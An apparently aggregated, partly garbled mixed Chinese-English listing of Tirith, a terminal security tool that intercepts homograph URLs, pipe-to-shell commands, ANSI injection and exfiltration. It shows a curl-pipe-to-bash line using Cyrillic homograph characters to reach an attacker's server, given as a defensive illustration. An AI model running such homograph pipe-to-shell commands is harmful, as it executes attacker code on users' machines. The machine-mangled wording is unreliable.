Tirith：终端数据它们

终端 security 为 developers、AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, 数据 exfiltration,、malicious AI skills/configs before 它们 execute.GitHub 2,488 ⭐ / 84 Fork，主要使用 Rust 开发。标签：cli,devtools,homograph-attack,rust,security。访问项目：https://github.com/sheeki03/tiri……

项目介绍

终端 security 为 developers、AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, 数据 exfiltration,、malicious AI skills/configs before 它们 execute.

核心功能

- 运行时 sandboxing: tirith warns、blocks; itnot sandbox、isolate - Post-execution 网络 监控: whatprocesson 网络 after - Malware / payload detection: tirith analyzes structure,payload - A privileged root/admin attacker: anyone already root、admin can bypass - Anti-调试 / anti-tampering: tirithnot resist reverse 工程

使用指南

curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised ```

You can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.

Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.

Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.

``` brew install tirith ```

Then activate in your shell profile:

```

项目信息

项目地址

GitHub 仓库：<https://github.com/sheeki03/tirith>

> 完整 URL：[https://github.com/sheeki03/tirith](https://github.com/sheeki03/tirith)

如需查看完整源码、安装命令、使用示例、API 文档，请直接访问上方项目地址。所有信息均以 GitHub 仓库为准。